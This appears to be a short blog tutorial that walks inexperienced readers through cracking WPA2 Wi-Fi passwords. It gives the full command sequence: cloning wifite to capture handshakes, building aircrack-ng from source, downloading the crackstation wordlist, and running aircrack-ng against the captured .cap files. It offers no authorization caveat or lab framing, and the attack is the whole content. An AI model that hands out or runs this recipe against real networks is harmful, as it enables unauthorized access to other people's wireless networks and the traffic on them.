Cracking Wifi networks (WPA2) in Easy way

Hi there! Today i will write an article about how to Crack WPA2 protected Wi-Fi networks in easy way. There is the software that do all the work for you, so you will make it work without any experience in such things, you only need to use good dictionary for brute force attacking. We will capture Wi-Fi packets (Handshakes) on one machine, and crack passwords on more powerfull one.

Lets say i have Linux laptop that i make Wifi network sniffing, and put captured traffic to another machine, that cracks passwords.

So, on the first one machine i put wifite software and sniff for the traffic and handshakes. Lets setup wifite:
git clone https://github.com/derv82/wifite.git
cd wifite
chmod +x wifite.py 

Run and sniff

After successfull run, we will have .cap files in hs/ directory, copy these files to the another more powerfull machine, that will crack these .cap files with dictionary wordlists using brute force attack (machine does not need to have wifi adapter, etc...).

Install aircrack-ng

wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz
tar xzf aircrack-ng-1.2-rc4.tar.gz
cd aircrack-ng-1.2-rc4
apt-get install libnl-3-dev libnl-genl-3-dev libssl-dev
make&&make install

Download wordlists

wget https://crackstation.net/files/crackstation.txt.gz
gunzip crackstation.txt.gz 
Another dictionaries 

Crack passwords using aircrack-ng

aircrack-ng -w /path/to/crackstation.txt /path/to/hs/folder/*.cap 
Select the desired network to start cracking, of course this will take some time. Depends on the machine specs. At least, please use 8core CPU, to gain required cracking power.
You will be noticed when password is found
